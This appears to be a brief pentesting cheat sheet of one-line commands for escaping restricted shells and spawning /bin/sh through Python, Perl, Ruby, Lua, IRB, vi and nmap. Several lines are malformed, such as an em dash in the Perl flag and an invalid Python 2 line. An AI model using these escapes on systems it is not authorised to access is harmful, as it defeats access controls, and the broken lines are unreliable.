Spawn /bin/sh from restricted environments

Ways to escape a restricted environment

Python 3

python3
python -c 'import pty; pty.spawn("/bin/sh")'

Python 2

python2
echo os.system('/bin/bash')

sh

/bin/sh -i

Perl

exec "/bin/sh";
perl —e 'exec "/bin/sh";'

Ruby

exec "/bin/sh"

lua

os.execute('/bin/sh')

From within IRB

exec "/bin/sh"

From within vi

:!bash
:set shell=/bin/bash:shell

Within nmap

!sh